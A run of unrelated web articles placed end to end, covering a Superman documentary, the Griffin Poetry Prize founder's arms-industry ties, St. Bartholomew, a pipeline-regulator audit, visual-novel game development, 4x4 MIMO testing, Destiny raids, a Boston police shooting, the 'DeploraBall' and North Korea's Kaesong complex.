Director Jon Schnepp has released the final trailer for his upcoming fascinating documentary The Death of Superman Live: What Happened? It features interviews with Tim Burton, producer Jon Peters, screenwriter Dan Gilroy, and more. All of them say that Burton's vision of the iconic superhero would have been awesome. Maybe it would have, regardless of Nic Cage being cast in the lead role, and the crazy weird costumes that we've seen. But we'll never know. This documentary will give us our best and most detailed look yet at what could have been.
Schnepp is still putting the final touches on the movie, but it will get a limited theatrical release on May 1st. Then, on July 9th, it will be available via streaming, DVD, Blu-ray, and VOD.Griffin Poetry Prize founder and bankroller Scott Griffin is no longer associated with General Kinetics Engineering Corporation, the manufacturer of shock absorbers for armoured vehicles destined for Saudi Arabia as part of Canada’s $14-billion arms deal with the country, a spokesperson for the Griffin Poetry Prize has confirmed.
A CANADALAND investigation earlier this year by author Michael Lista focused on the ties between Griffin’s General Kinetics, an arms deal and the Griffin poetry prize. The largest arms deal in Canadian history will see $14 billion in armoured vehicles sold to Saudi Arabia, a country with a horrific human rights record. The deal raised complicated ethical questions about Griffin’s role as bankroller of Canada’s most prestigious poetry prize, a prize he founded in his name.
Could Canadian poets and literary types decry the treatment of Saudi poet Raif Badawi – and others – under the Saudi regime, while at the same time accepting money which was ostensibly derived from an arms deal with that same regime? The reaction was mixed.
While the piece garnered a number of thoughtful responses, some questioned the literary community’s perceived silence on the subject.
“The most striking thing about this piece is not the business dealings of Mr. Griffin — how has this never been brought up? — but the blasé attitude of the writers who responded to Lista’s investigation,” wrote Jack Hanson in Partisan magazine.
Nevertheless, Lista’s investigative feature brought out into the open what many of Canada’s literary sect say was a widely known, if not widely talked about, fact about the prize and its founder.
And it appears whatever the attitude of the writers, Griffin may have taken note of the outing of his dueling connections, and taken action to remove himself from any perceived conflict.
As of mid-October, any reference to Griffin’s leadership role with General Kinetics was removed from his bio on the Griffin Poetry Prize website.
His Wikipedia page was updated in late October to say he is “previously chairman, director and majority shareholder of … General Kinetics Engineering Corporation.”
And by mid-November, Griffin was no longer listed as a director on the company’s federal corporate profile report.
Griffin took control of Brampton, Ontario manufacturing company General Kinetics in 1996. Less than five years later he found the Griffin Trust which funds the now $65,000 annual prize.
Ruth Smith, executive director of The Griffin Trust For Excellence In Poetry, confirmed via email Monday that Griffin is no longer the chairman, director, and majority shareholder of General Kinetics. Requests for further comment on why Griffin left General Kinetics went unanswered, with Smith noting that Griffin will be out of the country until mid-December.
Following Lista’s piece, Toronto-based author and poet Robert Priest wrote a letter to Griffin asking him to divest himself of the company, and encouraged others to do the same.
Priest said the underlying issue of Canada selling arms to Saudi Arabia remains a problem. He hopes the literary community will still take up the cause.
“Whatever Mr. Griffin’s sale of the company means to the poetry community, the sad fact is that the company is now owned by someone else and whoever that is will surely continue to supply Saudi Arabia with parts for war machines,” he told CANADALAND. “So I just hope that anyone who was troubled at the thought of complicity in this, whether a poet or otherwise, will write a letter immediately to the new government protesting our nation’s participation in a policy so likely to cause civilian oppression and casualties. It’s an opportune moment while Mr. Trudeau is still an idealist to get the deal canceled outright.”
The shock absorbers manufactured by General Kinetics are part of London, Ontario company General Dynamics Land Systems’ armoured vehicles which will be sold to Saudi Arabia as part of a Harper-government negotiated $14-billion arms deal between Canada and the Kingdom. Various petitions and groups have called for Canada to withdraw from the deal, calling out Saudi Arabia’s dismal human rights record. After referring to the armoured vehicles as “Jeeps” during the election campaign, the newly elected Trudeau government has said it has no plans to withdraw from the contract but will aim to be “more transparent” in its export dealings in the future.Apostle, August 24
Source: https://www.ewtn.com/
One of the Twelve Apostles, mentioned sixth in the three Gospel lists (Matthew 10:3; Mark 3:18; Luke 6:14), and seventh in the list of Acts (1:13).
The name (Bartholomaios) means "son of Talmai" (or Tholmai) which was an ancient Hebrew name, borne, e.g. by the King of Gessur whose daughter was a wife of David (2 Samuel 3:3). It shows, at least, that Bartholomew was of Hebrew descent; it may have been his genuine proper name or simply added to distinguish him as the son of Talmai. Outside the instances referred to, no other mention of the name occurs in the New Testament.
Nothing further is known of him for certain. Many scholars, however, identify him with Nathaniel (John 1:45-51; 21:2). The reasons for this are that Bartholomew is not the proper name of the Apostle; that the name never occurs in the Fourth Gospel, while Nathaniel is not mentioned in the synoptics; that Bartholomew's name is coupled with Philip's in the lists of Matthew and Luke, and found next to it in Mark, which agrees well with the fact shown by St. John that Philip was an old friend of Nathaniel's and brought him to Jesus; that the call of Nathaniel, mentioned with the call of several Apostles, seems to mark him for the apostolate, especially since the rather full and beautiful narrative leads one to expect some important development; that Nathaniel was of Galilee where Jesus found most, if not all, of the Twelve; finally, that on the occasion of the appearance of the risen Savior on the shore of the Sea of Tiberias, Nathaniel is found present, together with several Apostles who are named and two unnamed Disciples who were, almost certainly, likewise Apostles (the word "apostle" not occurring in the Fourth Gospel and "disciple" of Jesus ordinarily meaning Apostle) and so, presumably, was one of the Twelve. This chain of circumstantial evidence is ingenious and pretty strong; the weak link is that, after all, Nathaniel may have been another personage in whom, for some reason, the author of the Fourth Gospel may have been particularly interested, as he was in Nicodemus, who is likewise not named in the synoptics.
No mention of St. Bartholomew occurs in ecclesiastical literature before Eusebius, who mentions that Pantaenus, the master of Origen, while evangelizing India, was told that the Apostle had preached there before him and had given to his converts the Gospel of St. Matthew written in Hebrew, which was still treasured by the Church. "India" was a name covering a very wide area, including even Arabia Felix. Other traditions represent St. Bartholomew as preaching in Mesopotamia, Persia, Egypt, Armenia, Lycaonia, Phrygia, and on the shores of the Black Sea; one legend, it is interesting to note, identifies him with Nathaniel.
The manner of his death, said to have occurred at Albanopolis in Armenia, is equally uncertain; according to some, he was beheaded, according to others, flayed alive and crucified, head downward, by order of Astyages, for having converted his brother, Polymius, King of Armenia. On account of this latter legend, he is often represented in art (e.g. in Michelangelo's Last Judgment) as flayed and holding in his hand his own skin. His relics are thought by some to be preserved in the church of St. Bartholomew-in-the-Island, at Rome. His feast is celebrated on 24 August. An apocryphal gospel of Bartholomew existed in the early ages.
(Taken from Catholic Encyclopedia)Outdated computer systems, inaccurate information and confusion within Canada’s national pipeline regulator is putting public safety and the environment at risk, warns a new audit tabled in Parliament on Tuesday.
The audit by the federal environment commissioner, Julie Gelfand, found that the National Energy Board has made some progress since its last major audit by the commissioner’s office in 2011, but that many problems persist in the regulator’s enforcement of safety rules and its response to violations.
The audit follows mounting concerns and criticism from local communities in Quebec and British Columbia that have questioned whether the regulator can be trusted to ensure the safety of major new proposals such as TransCanada Corp’s Energy East pipeline linking Western Canadian oil producers to Atlantic Canada and Kinder Morgan’s Trans Mountain pipeline expansion to the Vancouver coast.
The newly-elected Liberal government has pledged to “modernize” the Calgary-based regulator and the audit said that the board agreed with the findings and was working to address its weaknesses in the coming months.
“Overall, we found that the National Energy Board’s tracking of company compliance with pipeline approval conditions was inadequate,” said Gelfand’s report.
“We also found that the information management systems the board used for this work were not integrated with each other, and were outdated and inefficient.”
In a sample of new pipelines projects, the audit found that the board was doing a poor job of monitoring the safety conditions attached to their approval. In 24 out of 49 cases the commissioner examined, it concluded that the regulator’s tracking of pipeline approval conditions was “inaccurate” or “out of date” or “missing key documentation”.
In one case, the Board had no record confirming whether a company had adequately prepared for the possibility of an explosion on a pipeline near caribou habitat. This was despite more than 10 years passing after the company was required to complete an emergency study on this risk.
Federal Environment and Climate Change Minister Catherine McKenna said the government welcomed the report and would ensure the commissioner's recommendations would be addressed.
"This report helps us identify specific areas for improvement," she said.
But NDP environment critic Nathan Cullen said the audit counters the message from the regulator and government that pipelines are safe because of strict rules and oversight.
“That (having strict conditions) is meaningless if less than half of the conditions that have been applied are actually being followed," Cullen said at a news conference after the audit was released. "It’s like someone being issued a driver’s licence with a series of conditions to follow the law. But if there aren't any police out on the road, what does that matter? The conditions are virtually meaningless.”
The audit also found that the regulator was having trouble following up with pipelines companies breaking the rules to ensure they are correcting problems.
In a sample of 42 cases of violations, the audit found 22 instances with inadequate follow up, including cases where there was no evidence of corrective action or the absence of any analysis or conclusion from the regulator.
“During the course of the audit, companies told us that they were often unsure as to whether the board was fully satisfied with the corrective actions they had taken, because the board did not always notify the company with a final conclusion,” said the audit.
In another case, the audit noted that the regulator had failed to verify a company’s response following an inspection that detected “numerous” liquid sulphur leaks. The audit also highlighted a case in which a company had submitted a response plan in 2013 to violations, but that the regulator didn't have updated records to reflect this.
The regulator’s staff also complained to auditors about outdated computer systems at their office.
“They described problems such as difficulty in accessing data, and having to input and retrieve data manually,” said the audit. “This has caused heavy administrative burdens, risks of human error, and backlogs in processing documentation.”
The audit also identified weaknesses in the regulator’s oversight of emergency plans. It noted that the regulator found “deficiencies” in 30 out of 66 company emergency plans, but had failed to ensure that 10 of these were complete and up to date.
Overall, the regulator said it has taken “significant steps” to improve its response to violations and that it was committed to continuing this work, the audit said. The board also said that it was working to address a shortage of engineers and other skilled workers needed to for it to fulfill its mandate to protect public safety.
“The NEB had identified the same areas for improvement and has already completed work on many of the (commissioner's) recommendations," said NEB chairman and CEO Peter Watson in a statement. "An action plan is in place to comprehensively address all of the report’s findings by the end of 2016.”Beyonce's nearly 20-minute performance at Sunday's MTV VMAs left many people speechless. The 32-year-old, who also received the Michael Jackson Video Vanguard Award for lifetime achievement, put on an unforgettable show that features cameos from her husband, Jay-Z, and her daughter, Blue.
Eric LeGrand had something to say about Beyonce's performance, but it wasn't what anyone would have expected.
The former Rutgers football player, who was paralyzed while making a tackle against Army in October 2010, sent out this tweet to his 132,000 followers after watching Beyonce perform her song, "Drunk in Love":
Beyoncé got everyone like this when she performs Drunk in Love pic.twitter.com/9Zbck535Jd — Eric LeGrand (@EricLeGrand52) August 25, 2014
The image shows the moment that LeGrand became paralyzed, and not all of his followers found the joke funny.
WTF? I'm actually offended RT @EricLeGrand52: Beyoncé got everyone like this when she performs Drunk in Love pic.twitter.com/vduHLP7apW — Erika Esola (@emesola) August 25, 2014
For the most part, however, it seems people gave LeGrand the benefit of the doubt.
@EricLeGrand52 you're the only one to tweet this lol anybody else, and I'd wanna punch them in the damn head — Max McGee (@McGee_Max) August 25, 2014
HE made the joke...so can we laugh? RT @EricLeGrand52: Beyoncé got everyone like this when she performs Drunk in Love pic.twitter.com/nsQvE6DjhH — Mitch Carr (@mitchcarrtv) August 25, 2014
An hour after the original tweet, LeGrand sent out this message:
With my last tweet you guys can see that I have a sense of humor with my injury gotta enjoy life and laugh I know that cracked me up lol — Eric LeGrand (@EricLeGrand52) August 25, 2014
LeGrand has been known to have a sense of humor about his predicament, and in the past he's moved on quickly when his paralysis became the subject of controversy. Still, it is a little jarring to see such a devastating injury employed for the sake of humor.The following blog post, unless otherwise noted, was written by a member of Gamasutras community.
The thoughts and opinions expressed are those of the writer and not Gamasutra or its parent company.
Although both visual novels (VNs) and dating sims have been gaining popularity in western markets, many people still don't know exactly what they are or, more likely, have the wrong idea about them.
Visual novels are a graphic novel of sorts and a story with optional paths the reader can follow. Dating sims are very similar in that the reader chooses from on-screen options but the purpose is to develop skills and personal relationships with in-game characters. These games can have rather complex paths with multiple endings.
To be clear, they originated in Japan and, while many visual novels or dating sims are erotic (or at least sexy) in nature, it's not true that all dating sims have erotic content.
It's really a shame that people automatically label these games as "adult only" because, in many cases, is not true. In the case of indie developers, few include racy themes or art as they are often trying to appeal a more family-friendly audience.
GETTING STARTED
While it certainly helps - especially for gameplay - it's really not necessary to play original Japanese visual novels or dating sims.
For example, I've produced several visual novels and dating sims. Some have been quite successful even though I have not played many Japanese games.
Instead, having very good writing skills is far more important for both visual novels and dating sims (although a bit more important for the visual novels).
Writing skills also means coming up with original plot ideas and carefully planning each path. These games are very similar in structure to the old Choose Your Own Adventure books where the plot changes and follows a different path based on the reader's choices.
Bionic Heart was perhaps the most complex visual novel I've made so far (and the only one to be featured in some popular Japanese websites). I did everything with a spreadsheet program but there are also other useful "mind-mapping" programs including FreeMind. It's not always necessary to use them - especially with good tools like Ren'Py available - but they can help.
For dating sims, the best way is to split the story into scenes. Those games usually have several characters that you can date and, through gameplay, you advance every subplot scene by scene.
Both visual novels and dating sims usually have a "Gallery Screen" where you can replay previous scenes which are typically still images. Usually the endings all feature a beautiful art moment but you can also use it for other particularly important points of the story.
Those games are also famous for having many endings. In fact, the more the better because it is normal to replay a game several times to unlock them all. It's a lot like achievements in other genres.
MAKING THE GAME
You have a great idea for a story and all of your characters are fleshed out so now it is time to make the game.
There are many free visual novel tools but, if you want to have flexibility and power of coding your custom stuff, there is simply nothing as good as Ren'Py. That tool combines the powerful Python language with a full set of commands that lets you easily create a visual novel or dating sim. Learn to use it well enough and you can also create a visual novel role-playing hybrid much like my RPGs Loren The Amazon Princess
CONTENT SIZE & ART STYLE
As you might imagine, visual novels include a lot of art. I'd dare to say that, for a commercial product, the art is as least as important as the writing, if not more.
Unfortunately this means that, if you're on a tight budget, it may be hard to create a visually appealing game. That does not mean, however, that you need to have countless images.
My first visual novel, Heileen, was made of 15 different painted backgrounds and 16 characters, each one with different outfits and expressions. That is the shortest and smallest VN I've made. Some of my upcoming games have 20 characters, each one with 5-6 expressions, animated eye, animated lips and three or four different outfits along with animated backgrounds.
In terms of the art style, it does seem that manga is the dominant art style for VNs. As for theme/setting, anything goes: from dark sci-fi to cyberpunk, from historical to light comedy, like my latest dating sim "Roommates".
The light-comedy dating sim The light-comedy dating sim Roommates (2014, Mac, Win, Linux, iOS, Android) includes an original soundtrack, manga artwork and lots of crazy humor!
SELLING IT
I won’t go into too much detail for the standard usual development process, so here's the quick rundown: Test the game, test it again, ask other people's opinion, polish it and test it again.
Once you have a decent product, it's time to sell it.
When people ask me for advice, I always tell them there is not a single, universal, valid answer. There are several ways to sell your VN or dating sim (or games in general) and I know people who are successfully making a living using very different methods.
Here are my top suggestions.
~ Freeware
The basic idea here is first to gain popularity and a following through a few decent free VNs or dating sims and then try to sell new games to your fans. This is a good choice if you're just starting and don't have much money. Good examples are Sakevisual which released a very popular otome dating sim called RE:Alistair and later went commercial making more games, even on Steam.
~ Use Portals
Nowadays getting on big portals like Steam is much easier than in the past. Indeed, I still remember when I put my games on Greenlight back in 2013, and a lot of users were complaining, saying that Steam was no place for visual novels. Now, there are a LOT of visual novels on Steam, showing that there's surely a market for those kind of games even in the west.
~ Direct Sales
Put it on your site and sell it. All games on my site are sold mostly directly. Even if your direct sales usually can't compete with Steam, you keep 90% of the profit (depends on the vendor you use to sell them) and you can also affiliate the game.
~ Online, Social and Mobile Devices
Another big advantage of using Ren'Py is that now it can export the games both to Google Play, Amazon and iOS. Mobile sales aren't going to make you rich, but are a nice extra, especially once you start to have several sites and you can do cross-selling. An important thing is to stick with a "high price", which for mobile is considered anything above $0.99! My VN sells for $4.99 and up.
~ Frequency
Rather than focusing a game for a year or longer, I try to release two or three games a year. There is no valid rule here: I know other developers that prefer to take it slower, even 1 year or more to make a game, polishing it a lot. I think it's a matter of personal preferences, since from my experience, while longer/bigger title generally make more revenues, not necessarily make the highest ROI (revenues per time spent on it).
KEEP THINGS SIMPLE
One thing I learned when doing dating sims, is that you must not over complicate things. If you add too much detail, make the UI crowded (full of options, typical of strategy games) or if you don't include a good tutorial, you're going to target the wrong market. Dating sim players don't want a complex strategy game or simulation. For example, my game Spirited Heart, has a very simple interface. There may be a lot of options - several jobs, increase your skills, six datable characters, a marriage option, a calendar system with holidays, three different races and more – but this light strategy blends very well with the various scenes of the romance subplots.
I really believe the trick is to balance the gameplay with the scene frequency to keep the player motivated to play and maintain interest in the story.
FINAL ADVICE
The demand for VNs and dating sims is growing every day and so are the number of people making them.
My final word of advice: Making visual novels and dating sim style games really are works of love and passion. Don't underestimate the amount of time and effort it takes to write a good story, create good gameplay and develop interesting characters.
If you approach it only from a commercial point of view, thinking to make some "quick cash", you may be disappointed by the results.
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Celso Riva is an indie game developer that runs the Winter Wolves website. He has been designing and developing games for almost 10 years and has done everything including gameplay design, writing, coding and marketing. In late 2008 he embraced the manga art style and the visual novel and dating sim genres, becoming a point of reference in the English visual novel market with 8 titles released so far and many more in the works including visual novels, dating sims and J-RPG. You can follow him on Twitter or read his blog to learn more.Signals Research Group conducted 4×4 MIMO testing that showed a 55% speed boost on a live T-Mobile network using Samsung devices.
Claimed performance advantages of complex multiple-input/multiple-output antenna technologies appear to have been validated by recent network performance testing conducted by Signals Research Group.
The testing was conducted by SRG using T-Mobile US’ network and a pair of Samsung Galaxy S7 devices, one enabled for 4×4 MIMO, the other not. The tests, which used Accuver Americas XCAL-M drive test solution and cooperation from T-Mobile US, found median data rates of 22.8 megabits per second on the device not using the enhanced antenna protocol versus 35.3 Mbps for the device so enabled.
SRG noted the tests were conducted with each device locked to using only T-Mobile US’ AWS-1 spectrum channel in the 1.7/2.1 GHz band, with higher data rates expected if the devices were able to tap into additional spectrum support the carrier has behind its LTE network.
“While it isn’t straightforward to compare these results with what is possible on other LTE networks, it is safe to say that the unique features that we tested in the T-Mobile network with the T-Mobile Galaxy S7 accounted for all the performance gains that we observed,” SRG noted in its report. “In the absence of these features, the performance between the two phones would have been equivalent.”
The 4×4 MIMO protocol uses four antenna ports to transmit and receive data, which in turn requires specialized tower antennas and smartphone antennas. In addition, the smartphone modem must be ready to support four data streams, with Qualcomm seen as the only chipmaker known to be offering a modem that can support 4×4 MIMO.
“For clarity, 4×4 MIMO means that the data connection between the serving [base station]and the mobile device consists of up to four data streams,” SRG wrote. “Since each data stream can contain independent data there is the possibility for a quadrupling in the data rate over a single data stream. In other words, while a single data stream in a 20-megahertz radio channel can achieve a data rate of approximately 75 Mbps, four data streams can theoretically reach approximately 300 Mbps.”
T-Mobile US is the only domestic carrier reported to be using the 4×4 MIMO protocol across a significant portion of its network. The carrier late last year claimed to have the technology available in 319 cities.
T-Mobile US has claimed to have combined 4×4 MIMO with 256 quadrature amplitude modulation technology in an “unreleased handset” to support network speeds up to 400 Mbps, and with the addition of three-carrier aggregation has seen lab tests of speeds up to 979 Mbps. Sprint has made similar network speed claims using 256 QAM and 4×4 MIMO in testing.
Verizon Wireless claimed back in 2015 that it had begun using 4×4 MIMO for coverage and performance improvements on its LTE network.
Bored? Why not follow me on Twitter.One of Destiny's more controversial policies ahead of release is that its 6-man raids, which feature the toughest content and dole out the best loot in the game, will not allow for randomized matchmaking. Instead, Bungie wants players only to take them on with five other friends, as the level of coordination needed to complete the difficult segments is greater than what random matchmaking can provide.
While veteran MMO players may be used to getting together a group of 20 or even 40 players to go on raids in other games, many potential Destiny players have been wary of the idea, myself included. For those of us with families or jobs or school, or just lacking five friends with the same video game console, the prospect of organizing a time to actually get friends together to attempt these raids seems daunting.
But rather than sit around and complain about it on the internet (like me), some fans have gotten together to come up with homemade solutions to the problem. One answer? That would the site ThatWizardCameFromTheMoon.com, named after a now-deleted catchphrase from the Destiny alpha.
Its purpose is to be a sort of off-book matchmaking service for Destiny raids. You pick your platform, your timezone and your class, and then the search mechanism will allow you to find others who may be willing to raid with you. The site manager, Doug Wickham, claims that three days after launch, TWCFTM already had 500 members, and it's continuing to grow.
Other fan-made solutions are springing up as well, including clan "Dads of Destiny," aimed at bringing together busy fathers who just want a place to game with others like them, with similarly restrictive schedules. Here's their mission statement.
"We’re a growing collective of dads, granddads, and uncles. Our ages span from 18 - 60 and we share common values. We’re all family-oriented guys who understand that normal day-to-day life comes first and gaming comes second. We are business owners, laborers, investors, doctors, lawyers, bankers, chefs, and artists. We are unique individuals who have come together with a common interest. We are gamers. We are fathers. We are the Dads of Destiny."
These are valiant efforts to bring members of the Destiny community together, yet even with dedicated fans trying to organize these sorts of groups, I still fear for the overall functionality of the game. Even with these services, they still insert additional steps of coordinating raid times online. It may be a lot more doable than coordinating with actual friends (I literally do not have five real-life friends that own a PS4 at this point in my life), but it's still a few extra steps outside the world of the game, and I'm not sure how many players will want to go to third party websites or join clans just to experience the friends-only raid portion of the game. Perhaps many will, and again, this kind of thing has been going on in MMOs for years, but in many games, organizing raids is done in-game through chat or other means. Destiny has no such functionality.
That makes me wonder if Bungie will come out with some sort of "friend-finder" system of their own, as it does seem a bit odd to rely entirely on the fanbase to create these sort of sites for themselves. But that would be a little sad for those like TWCFTM's Wickham, who has spent a lot of time building his own site. "To be honest, it would be a little bittersweet," he says.
But despite that, Wickham rejects my idea that Bungie should do away with the friends-only requirement altogether.
"We completely agree with Bungie's reason to not have in-game matchmaking for raids. Bungie is thinking about the total user experience with this decision, and to have such a challenging experience ruined by some random would be horrible for the game. You have to have a tight-knit group of individuals and not a bunch of random players to tackle the possibly week long commitment of a Raid. It's hard to find 5 others players on the same level as you...let alone in the same time zone with the same style of play and same personality."
The idea is that his site takes the time commitment out of actual "clans," while still allowing players to socialize and play together. With a few more features added (I'd request a "time of day available" profile field), it could really help alleviate the "friends-only" problem.
I maintain that Bungie should have a "normal mode" on raids that allows for randomized matchmaking while reserving "hard mode" for friends-only, but barring any major policy changes in the week before launch, it seems like I very well may be making my own account at ThatWizardCameFromTheMoon, and playing with some likeminded strangers.
Update: Also try your luck with RaidDestiny and DestinyLFG, if you like.
Follow me on Twitter, like my page on Facebook, and pick up a copy of my sci-fi novel, The Last Exodus, and its sequel, The Exiled Earthborn, along with my new Forbes book, Fanboy Wars.
How should Destiny spend its $500M budget? I explain below:Inkjet-printed liquid metal could bring wearable tech, soft robotics
April 7, 2015
This artistic rendering depicts electronic devices created using a new inkjet-printing technology to produce circuits made of liquid-metal alloys for "soft robots" and flexible electronics. Elastic technologies could make possible a new class of pliable robots and stretchable garments that people might wear to interact with computers or for therapeutic purposes. (Alex Bottiglio/Purdue University Download Photo
WEST LAFAYETTE, Ind. — New research shows how inkjet-printing technology can be used to mass-produce electronic circuits made of liquid-metal alloys for "soft robots" and flexible electronics.
Elastic technologies could make possible a new class of pliable robots and stretchable garments that people might wear to interact with computers or for therapeutic purposes. |
armed with what police described as a tactical shotgun, and wearing a bulletproof vest. That suspect fired on police, hitting two officers and striking one of them multiple times, Evans said. Fellow officers pulled the wounded out of the line of fire, and one officer pressed his finger into a bullet wound to stop the bleeding, he said.
Officers fired back, killing the shooter, who has since been identified as 33-year-old Kirk Figueroa.
Nine other officers were taken to Tufts Medical Center for minor injuries and for stress, police told reporters. They have all since been released.
Evans said Thursday he does not believe Figueroa planned the attack, or that officers were drawn to the scene in order to be ambushed. Domestic calls are always unpredictable, he said.
"I don't think anyone could have anticipated how quickly this situation went violent," he said.
Mayor Marty Walsh told Boston Herald radio Thursday morning the wounded officers' families were notified at 11:30 a.m. Wednesday night.
"They have come to the hospital with no idea what's going on," Walsh said. "This situation could happen any day. In Boston, it happened yesterday. Public safety is a difficult job."
As is law in officer-involved fatal shootings, the Suffolk County District Attorney's office will conduct an independent investigation to determine whether the fatality in East Boston overnight was lawful and will release those details.
"At this hour, however, our thoughts are with the injured officers, their loved ones, and their colleagues," the Suffolk County District Attorney's office said in a press release.
Despite his support for the wounded officers, DA Dan Conley later said at a police press conference, he wants the public to know his office will approach the investigation with no preconceptions, and will deliver its results to Figueroa's family and the public when it is complete.
Police departments from around the city have shared their thoughts and prayers. The Boston Police Department posted to Twitter, thanking the community, writing: "To all who have offered prayers and expressed support and concern for our officers - please know we hear you and thank you."
Heavy police presence in Orient Heights right now. Dozens of BPD, at least two choppers, and multiple ambulances. pic.twitter.com/h1v0Ct2jlL
— Toni Stark (@QuestionSleep) October 13, 2016
#EastBoston audio of the gunshots heard from our bedroom window in Orient Heights, this is only some of them pic.twitter.com/dj31WmJmiM
— Mike Tucker (@miketunka) October 13, 2016
This story has been updated to reflect developing information provided by Boston Police and other sources. Last updated 4:13 p.m.
Photos of officers, Richard Cintolo (left) and Matthew Morris courtesy Boston Police via Twitter. Second photo by Patch staff.One week after a Virginia nightclub received harassing phone calls for declining to host an inauguration party dubbed the “DeploraBall,” the Donald Trump supporters behind the event have found a new venue to celebrate the election of their media-bashing candidate: the National Press Club.
“Doing it at the press club asserts that we’re a new force in town,” said Jeff Giesea, one of the organizers. “And we’re not just doing it as a troll.”
The Jan. 19 party had garnered attention on Twitter earlier this month in part because several of its slated guests are best known for being online provocateurs, contributing to conspiracy-theory websites and sharing views with the alt-right, an extremist movement of mostly young men seeking a whites-only nation.
But the organizers say they are simply fans of the president-elect and in no way connected to the alt-right, which has come under intense scrutiny since a number of its members flashed Nazi salutes at a Washington conference last month.
[‘Let’s party like it’s 1933’: Inside the disturbing alt-right world of Richard Spencer]
1 of 35 Full Screen Autoplay Close Skip Ad × Here’s a look at Trump’s administration so far View Photos The men and women the president-elect has selected for his Cabinet and White House team. Caption The men and women the president-elect has selected for his Cabinet and White House team. Scott Gottlieb, nominee for commissioner of FDA President Trump is set to nominate Scott Gottlieb, a conservative physician and businessman with deep ties to the pharmaceutical industry, to be commissioner of the Food and Drug Administration, a White House official said. Courtesy of American Enterprise Institute/via Reuters Buy Photo Wait 1 second to continue.
“This is an event for Trump supporters from across the country, from all backgrounds, ethnicities and walks of life,” the event’s site says, adding: “We will not tolerate any incendiary actions, remarks or gestures that go against the ‘open basket’ spirit of the event.”
Giesea reiterated that point in an interview Thursday.
“Moms from the Midwest are flying out for this,” he said. “They’re not part of the alt-right. They don’t even know what that is.”
In a statement, press club President Thomas Burr said that its downtown D.C. location would host “a private, client-paid inaugural ball for supporters of President-elect Donald Trump — as we have for incoming presidents of both parties for decades.
“This is not an event,” he added, “sponsored or endorsed by the National Press Club.”
The leaders of the DeploraBall — a name inspired by Hillary Clinton’s description of some Trump supporters as “deplorables” — had been in talks with the Clarendon Ballroom in Arlington, but, according to a statement, the venue backed out because of “the suspicious actions of the organizers” — not because of political pressure. Party promoters had sold hundreds of tickets and claimed online that the ballroom was booked before any contracts had been signed.
[Clarendon Ballroom gets harassing calls after declining to host Trump backers’ ‘DeploraBall’]
The venue’s staff later told police that they had received harassing phone calls.
“I think there was a perception that they did it partly for political reasons,” Giesea said. “We certainly didn’t encourage anyone to troll them.”
The controversy has not curtailed interest in the party, which quickly sold out of its 1,000 tickets.
“Tickets get you in the door,” the site says, “with open bar, light hors d’oeuvres, fun people, cool music, and endless memes.”
Rachel Weiner contributed to this report.Can trade and commerce foster peace and mutual understanding between hostile governments? When it comes to the Koreas, this question may seem to be beside the point, given the ruthless purge now underway in the North. But it remains an essential consideration for the longer-term future of North Korea and other outcast regimes.
The Kaesong Industrial Complex, a joint venture of the North and South Korean governments, is both a tribute to the concept of diplomatic reconciliation through business and a difficult test of its feasibility. Roughly 50,000 North Korean workers are employed in 123 factories that produce about $450 million* worth of goods (mainly textiles, shoes, and household goods).
Kaesong is an expensive investment for South Korea, which provides capital and infrastructure, including a power station, a water purification plant, and a hospital. But, more than a decade after its inauguration, the complex runs at 40% capacity and has attracted only medium-size companies.
Despite generous tax incentives, South Korea’s huge conglomerates, the chaebol, have spurned the experiment, at least partly because of enduring transportation and communications problems. The complex can be accessed only through the demilitarized zone separating the two Koreas, which requires entry and exit passes. The lack of mobile-phone networks and broadband Internet means that South Korean managers must communicate with their headquarters by landline phones and fax.
Of course, commercial gain is not the only motivation behind the Kaesong complex. The South Korean authorities are rightly proud of the initiative, which they view as an investment in future reunification with the North.
Seen from this perspective, North Korea’s recent announcement that it will open another 14 special economic zones is a positive development – one that is underpinned by significant financial incentives. Aside from enabling the North to acquire technology and learn market-oriented business practices, the Kaesong complex generates about $80 million annually in workers’ compensation (the monthly wage of $160 is far higher than in North Korea).
But political and historical tensions continue to shape daily life in Kaesong, where companies operate under the constant threat that North Korea, for whatever reason, will react rashly, even abandoning the joint project altogether. Already last year, rising inter-Korean tensions led to a temporary shutdown of the complex.
As a result, firms must dedicate considerable time and effort to dealing with North Korea’s often volatile and opaque politics, exemplified in the recent execution of North Korean leader Kim Jong-un’s powerful uncle, Jang Song-thaek. This challenging climate undermines the project’s viability, even though the business model – based on lower-cost workers from the North producing labor-intensive goods – makes sense.
Kaesong is a bit of George Orwell’s 1984, with added elements of nineteenth-century paternalism. The atmosphere is stilted and muffled, with workers moving around in silence and guards everywhere. During a recent visit – the first by a foreign delegation since 2006 – the cold and snowy weather intensified this feeling, creating the sense of being suspended in time and space.
The visit began with military jeeps escorting our convoy into North Korean territory. The vehicles’ number plates were covered with white cardboard, and red flags had been affixed to the doors next to the side-view mirrors – for which none of our South Korean hosts was able to offer an explanation.
Even the preparation for our visit, which was confirmed less than 24 hours before it began, was somewhat Orwellian. Detailed packing instructions were issued, informing us that we could not bring radios, mobile phones, wireless devices, printed materials, photos, cassette tapes, or DVDs.
Despite being limited to cameras with lenses under 160mm, we were not permitted to take photos of the demilitarized zone between the industrial complex and the border, or of North Korean soldiers or workers. Our cameras were checked when we left the country to verify compliance.
The border between the two Koreas is virtually impenetrable, with gates that open for a half-hour at a time a few times per day. As a result, all personal contact occurs through official channels. Even as diplomatic visitors, we were prohibited from speaking with or giving anything to the workers, whom we watched with a mixture of curiosity and sympathy.
The North Koreans seemed to share our desire to connect, as they sought to engage with us to whatever extent they could. The diminutive border guard looked into my eyes, smiled warmly, and asked where I was from. Likewise, lined-up workers at one of the factories responded to my gesticulations with waves and smiles as we passed them.
Given the prevailing paranoia, fueled by propaganda and genuine ignorance, on both sides of the border, it is possible that our hosts were being excessively cautious. Nonetheless, our pre-trip “indoctrination” stifled our reactions, regrettably preventing us from trying harder to reach out to the workers we encountered – an experience that seemed to exemplify the difficulty of bringing North Korea into the international community.
Despite their flaws, initiatives like the Kaesong complex help to build an environment of collaboration and trust. As Asia’s recent history shows, authoritarian regimes tend to open up in response to a combination of grassroots movements and gradual top-down reforms. North Koreans may well be prepared to provide the former, but whether the government is prepared to do its part remains highly uncertain, to say the least.
The expansion of special economic zones – supported by increased private investment, especially from firms that are not South Korean or Chinese – would significantly improve the odds that North Korea’s regime eases its repressive rule and embraces a program of economic reform, as China did more than three decades ago. The task of defusing the threat to regional peace and stability that North Korea poses should be one that is shared across Asia.
Paola Subacchi is Research Director of International Economics at Chatham House.
Copyright: Project Syndicate, 2014. www.project-syndicate.org
